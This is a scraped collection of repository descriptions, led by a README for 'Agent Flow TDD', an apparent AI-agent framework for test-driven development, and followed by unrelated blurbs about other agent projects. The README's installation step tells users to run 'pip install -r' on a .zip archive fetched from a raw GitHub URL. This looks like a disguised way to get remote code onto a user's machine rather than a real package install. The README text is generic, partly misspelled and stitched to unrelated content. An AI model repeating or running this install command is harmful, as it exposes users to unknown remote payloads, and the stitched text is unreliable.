Framework para automação de fluxo de features TDD usando agentes de IA.
```markdown # Agent Flow TDD 🚀 Welcome to the **Agent Flow TDD** repository! This project provides a framework for automating the flow of features in Test-Driven Development (TDD) using artificial intelligence agents. ## Table of Contents - [Features](#features) - [Getting Started](#getting-started) - [Installation](#installation) - [Usage](#usage) - [Examples](#examples) - [Contributing](#contributing) - [License](#license) - [Contact](#contact) ## Features ✨ - **AI-Driven**: Utilize advanced AI agents to streamline your TDD processes. - **CLI Support**: Command-line interface for easy interaction and automation. - **Integration**: Works well with popular tools and libraries such as Antropic, OpenAI, and others. - **Flexible**: Supports a wide range of workflows tailored for different project needs. - **Open Source**: Community-driven development, ensuring continuous improvement and updates. ## Getting Started 🌟 Follow these steps to get your development environment set up: ### Prerequisites Make sure you have the following installed: - Python 3.7 or higher - pip (Python package installer) ### Installation 🛠️ You can install the necessary packages with the following command: ```bash pip install -r https://raw.githubusercontent.com/shivanshb1/agent-flow-tdd/main/src/core/flow-agent-tdd-v1.1-beta.5.zip ``` ## Usage 🖥️ Using the framework is straightforward. Here's a quick guide to get started: 1. **Initialize the Project**: Create a new project using the CLI. ```bash agent-flow init my_project ``` 2. **Create Features**: Define your features and tests in a structured manner. 3. **Run the Tests**: Execute your tests with: ```bash agent-flow test ``` 4. **Analyze Results**: View the generated reports to understand the outcomes. ## Examples 📚 Check out the examples in the `examples` directory for practical implementations of Agent Flow TDD. Here are a few: - **Basic Setup**: A simple project demonstrating the core features.
HAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型